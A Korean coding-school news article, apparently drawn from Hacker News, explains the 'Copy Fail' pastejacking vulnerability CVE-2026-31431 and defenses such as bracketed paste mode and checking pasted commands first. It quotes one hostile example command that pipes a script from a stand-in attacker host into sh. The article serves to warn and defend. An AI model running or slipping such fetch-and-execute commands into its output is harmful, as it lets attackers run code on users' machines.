처리중입니다. 잠시만 기다려주세요.
TTJ 코딩클래스
정규반 단과 자료실 테크 뉴스 코딩 퀴즈
테크 뉴스
Hacker News 2026.04.30 166

복사-붙여넣기가 해킹 도구가 된다? CVE-2026-31431 'Copy Fail' 취약점 파헤치기

Hacker News 원문 보기
복사-붙여넣기가 해킹 도구가 된다? CVE-2026-31431 'Copy Fail' 취약점 파헤치기

별것 아닌 복사 한 번이 시스템을 뚫는다고요?

copy.fail이라는 도메인에서 공개된 CVE-2026-31431 취약점이 보안 커뮤니티에서 회자되고 있어요. 한 줄 요약하자면 '웹사이트에서 복사한 텍스트가 사용자가 본 것과 전혀 다른 명령어일 수 있고, 그게 터미널에 붙여넣어지는 순간 시스템이 뚫린다'는 이야기예요.

이런 종류의 공격을 보안 업계에서는 클립보드 하이재킹(clipboard hijacking) 또는 페이스트재킹(pastejacking)이라고 부릅니다. 사실 개념 자체는 새로운 게 아니에요. 2016년쯤부터 알려진 트릭인데, 이번 CVE는 그 공격이 최신 브라우저와 운영체제 환경에서 여전히, 심지어 더 교묘하게 동작한다는 걸 PoC(Proof of Concept, 개념 증명 코드)로 보여줬다는 점에서 의미가 있어요.

어떻게 가능한 일인지 풀어보면

원리는 의외로 단순합니다. 웹페이지에 다음 같은 코드 블록이 있다고 해볼게요. 화면에는 npm install some-package라고 평범하게 보이지만, 실제로 사용자가 그 텍스트를 마우스로 드래그해서 복사할 때 자바스크립트가 끼어들어 클립보드 내용을 살짝 바꿔치기합니다.

실제로 클립보드에 들어가는 건 이런 식이에요. npm install some-package; curl http://attacker.com/x.sh | sh. 추가된 명령어 부분은 화면에서는 보이지 않게 흰 글자나 0픽셀 너비로 숨겨져 있거나, 혹은 'oncopy' 같은 자바스크립트 이벤트 핸들러로 복사되는 순간에 슬쩍 끼워 넣어집니다. 사용자는 자기가 읽은 그대로의 명령어가 클립보드에 들어갔다고 믿고 터미널에 그대로 붙여넣죠. 그 순간 공격자의 스크립트가 다운로드되고 실행됩니다.

Copy Fail 페이지가 강조하는 부분은 개행 문자(\n)가 같이 붙어 있을 때의 위험이에요. 일반적인 셸에서는 명령어 뒤에 엔터(\n)가 붙으면 사용자가 엔터키를 누를 새도 없이 자동 실행됩니다. 즉, 'Cmd+V를 누르는 행위만으로 명령이 실행될 수 있다'는 거죠.

왜 지금 이게 다시 뜨거운 이슈인가

첫 번째 이유는 AI 코딩 어시스턴트의 부상이에요. ChatGPT, Claude, Cursor 같은 도구가 '이 명령어를 실행하세요'라고 알려주는 시대잖아요. 사용자는 의심 없이 그 명령어를 복사해서 터미널에 붙여 넣습니다. 만약 모델 자체가 어떤 식으로든 오염된 출처에서 명령어를 가져왔거나, 화면 렌더링 단계에서 누군가 끼어들었다면, 이 공격 벡터는 일상적인 작업 흐름 안에 자연스럽게 녹아들어요.

두 번째는 터미널 사용 빈도가 늘었다는 점이에요. 클라우드 인프라, 도커, 쿠버네티스 같은 도구가 보편화되면서 셸 명령어를 복사-붙여넣기하는 빈도가 예전보다 훨씬 높아졌습니다. 공격자 입장에서는 노릴 만한 표면이 그만큼 넓어진 셈이죠.

세 번째는 방어가 생각보다 어렵다는 사실입니다. 브라우저는 일반적으로 'oncopy' 이벤트로 클립보드 내용을 수정할 수 있게 허용해요. 정당한 용도(예: 줄바꿈 정리, 인용 표시 추가)도 많기 때문에 그냥 막아버릴 수가 없거든요.

업계의 대응과 비슷한 사례들

터미널 쪽에서는 이미 일부 대응이 있어요. iTerm2, WezTerm, Warp 같은 최신 터미널은 '붙여넣을 때 개행 문자가 포함되면 경고 띄우기' 옵션을 제공합니다. 'bracketed paste mode'라는 기능도 있는데, 셸이 '이건 사람이 친 게 아니라 붙여넣은 거다'라고 인식해서 자동 실행을 막아주는 모드예요. 다만 모든 환경에서 기본 활성화돼 있는 건 아니라서 사각지대가 있어요.

비슷한 결의 공격으로는 HTML 폼의 hidden input을 이용한 자격증명 탈취, 유니코드 양방향 제어 문자(Trojan Source)를 이용한 코드 위장, 그리고 README의 악성 install.sh 한 줄 같은 게 있습니다. 모두 '사용자가 본 것과 실제 실행되는 것이 다르다'는 한 가지 원리에서 출발해요.

한국 개발자가 당장 할 수 있는 일

첫째, 웹에서 복사한 셸 명령어는 터미널에 바로 붙여넣지 말고, 먼저 메모장이나 텍스트 에디터에 한 번 붙여넣어 확인하세요. 이 한 단계만 추가해도 거의 모든 페이스트재킹을 막을 수 있어요.

둘째, 자주 쓰는 터미널에 bracketed paste 기능과 멀티라인 붙여넣기 경고가 켜져 있는지 점검해보세요. zsh, bash 둘 다 기본 지원이 되긴 하지만 환경에 따라 꺼져 있을 수 있습니다.

셋째, 우리 팀이 운영하는 문서 사이트나 블로그라면 '복사 버튼' 기능을 직접 검증해보세요. 외부 라이브러리가 oncopy를 후킹하면서 의도하지 않은 동작을 할 가능성이 있고, 사용자에게 안전한 복사 경로를 제공하는 게 신뢰의 기본이에요.

한 줄 정리

눈에 보이는 텍스트와 클립보드에 들어가는 텍스트가 다를 수 있다는 사실은 개발자의 가장 일상적인 동작인 복사-붙여넣기를 공격면으로 바꿉니다. 여러분은 평소 웹의 셸 명령어를 어떻게 검증하시나요? 팀 내에서 이런 가이드를 공유하고 계신가요?


🔗 출처: Hacker News

이 뉴스가 유용했나요?

이 기술을 직접 배워보세요

바이브코딩으로 직접 만들어보세요

이 기술, 강의에서 실습으로 배울 수 있습니다.

바이브코딩 강의 보기

"비전공 직장인인데 반년 만에 수익 파이프라인을 여러 개 만들었습니다"

실제 수강생 후기
  • 비전공자도 6개월이면 첫 수익
  • 20년 경력 개발자 직강
  • 자동화 프로그램 + 소스코드 제공

매일 AI·개발 뉴스를 받아보세요

주요 테크 뉴스를 매일 아침 이메일로 전해드립니다.

스팸 없이, 언제든 구독 취소 가능합니다.